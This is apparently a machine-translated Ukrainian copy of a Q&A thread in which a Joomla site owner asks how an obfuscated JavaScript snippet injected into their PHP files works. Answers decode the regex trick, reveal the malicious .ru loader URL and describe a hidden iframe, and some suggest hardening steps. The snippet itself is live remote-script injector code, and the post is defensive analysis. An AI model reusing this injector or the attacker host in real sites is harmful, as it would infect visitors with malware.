Як працює цей сайт, що заражає сценарій?


99

Мій Joomla! веб-сайт був неодноразово взлом. Хтось, чомусь, зумів ввести наступний сміття в ключові сценарії PHP, але я не маю на увазі не говорити про налаштування Joomla. Сайт не відвідується дуже багато (часом я боюся, що я можу бути єдиним відвідувачем цього сайту ...), і мені не дуже важливо, щоб сайт створив резервну копію та працював. Я з цим впораюся.

Моє запитання: як це сміття працює? Я дивлюся на це і просто не бачу, як це вдається зробити якусь шкоду? Це намагається завантажити PDF-файл під назвою ChangeLog.pdf, який заражений трояном, і після відкриття він заморозить ваш Acrobat і спричинить хаос на вашій машині. Як це робити, я не знаю, мені все одно. Але як наступний фрагмент сценарію викликає завантаження?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET виявив цей код як троян JS / TrojanDownloader.Agent.NRO


41
Будь ласка, ні в кого не скидайтеся, щоб перевірити посилання з цікавості!
DOK

1
Так, не блукайте, намагаючись з'ясувати, що відбувається, магія полягає в простому кодуванні URL-адреси та подальшому декодуванні / розборі рядка за допомогою заміни / RegEx, який ви бачите в кінці рядка.
DoctorLouie

13
"фрагмент сценарію" спочатку читається як щось інше.
Депутат Адітія

Відповіді:


181

Зверніть увагу на replaceвиклик після гігантської рядки безладної: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Він видаляє більшість спеціальних символів, перетворюючи їх у звичайну URL-адресу:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Я вручну змінив http:на evil:)

Зауважте, що регулярний вираз можна було спростити .replace(/[#$@^&()!]/ig, '')

Якщо ви подивитеся на сценарій, ви побачите, що це дуже простий скрипт, який вводить прихований IFRAME, що містить шлях /index.php?ysз того самого домену.

Я просив цю сторінку у Fiddler, але вона не мала вмісту.


6
Я думаю, що сценарій із вмістом iframe зроблений так, щоб не запускати завантаження pdf кожного разу. Може бути шанс 1 на 10 чи щось подібне. Він не намагався завантажувати pdf щоразу, коли я оновлював сторінку joomla. Може бути навіть 1 на 100 ... хто знає?
Пітер Пергач

174
+1 для згадки про те, що код міг бути написаний більш ефективно. :)
Pekka

8
@ Пекка, я думаю, це було навмисно написано таким чином, щоб бути більш незрозумілим
Еліптичний погляд

7
@Elipticalview Однозначно. Якби письменник переживав за ефективність, він, звичайно, не використав би заміну RegEx для отримання статичної рядки. Лол.
Ден Бешард

Я не бачу, який би хороший нечутливий модифікатор шаблону міг би зробити для шаблону без літер. Я б також використовував +після класу символів ... якщо ви використовуєте регулярний вираз.
mickmackusa

34

Ці відповіді можуть допомогти вам зрозуміти природу шкідливого коду JavaScript, але те, що вам слід шукати, - це спосіб закрити лазівку, яка є незадоволеною в механізмі Joomla. Попередньо упаковані рамки схильні до прорізів, навмисних чи ненавмисних, особливо якщо врахувати, що вони розроблені для роботи в середовищі Unix, Mac та Windows.

Моя робота вимагає запускати багато доменів, додатків і фреймворків на багатьох типах серверів і систем для клієнтів і себе. З часом я бачив, як все більше ботів скануються за цими системами, шукаючи відомі лазівки / входи задніми дверними входами, створеними цими рамками. Хороша річ, коли я використовую будь-який тип фреймворку, який я рідко роблю, я переконуюсь, що перейменую більшість, якщо не всю структуру файлів, щоб позбавити себе від цих неприємних лазів / задніх дверей. Принаймні, ви можете перейменовувати каталоги, які скидають більшість ботів, але мій спосіб - повністю усунути посилання, що дають підказки щодо характеру фреймворку, що включає перейменування всієї файлової структури, а не лише каталогів. Завжди тримайте карту нових конвенцій про іменування відносно старих конвенцій про іменування, щоб зробити додавання плагінів до базової бази оснащенням. Після того, як ви зрозумієте, що ви можете перейти до програми, перейменувавши всю структуру файлів фреймворку для більш швидких результатів, це особливо корисно, коли вам доведеться мати справу з клієнтами, які потребують оновлення їхньої бази за допомогою плагінів тощо.


1
Просто не видаляйте інформацію про джерело основи, це було б неправильно.
DoctorLouie

2
Оооо, дякую. Це гарна відповідь. Насправді не відповідаючи на питання, але все-таки +1, оскільки це було справді дуже цікавим прочитанням та хорошими пропозиціями. Ta
Пітер Перхач

20

Він просто замінює регулярний вираз на URL-адресу сценарію, щоб надати вам

ПРИМІТКА: НЕ **ПОВЕРНУЙТЕ НІЖНУ ПОСИЛУ (вставляється для стримування копіювальних пастерів)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

як src


просто так, чи не так? Боже мій ... Я знову був пвд-вою :)
Пітер Перхач

23
Це весела URL-адреса.
Йорданія, що працює

@Josh - Це ви вирішили, я не пробував, тому не можу точно сказати, чому. Я підозрюю, що на сторінці можуть бути шкідливі сценарії. Ви могли це зробити на свій страх і ризик!
Russ Cam

8

Він використовує функцію замінника, щоб замінити символи сміття за допомогою регулярного вираження, нічого поганого в коді:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

Його сценарій завантаження від

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

І це сценарій завантажується iframeз видимостіhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

Прочитавши всю справу, ви виявите, що це рядок, за яким слідує команда заміни.


2

Я маю такий же sript на своїх сторінках у файлах індексу *. *. Я пишу власний код у PHP. Моє запитання не в тому, як це працює, але я задаю питання, як захистити, якщо ви знаєте їхнє заднє місце. Я змінив форми та прочитав $ _POST та $ _GET із заміною <> та http: // і т.д.


2

Мої два центи. Ви / можете встановити інструмент резервного копіювання Joomla, такий як Joomlapack?

Я встановив його для запуску за допомогою сценарію CHRON, щоб тримати товари під рукою у випадку, якщо зловмисники потрапляють на пробування.

Яку версію Joomla ти працюєш?

Версії 1.0.X більше не оновлюються, і вік справді починає показуватися. Ви зобов’язані собі зробити резервну копію та плануєте оновити до 1,5 та передбачити чудеса 1.6

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.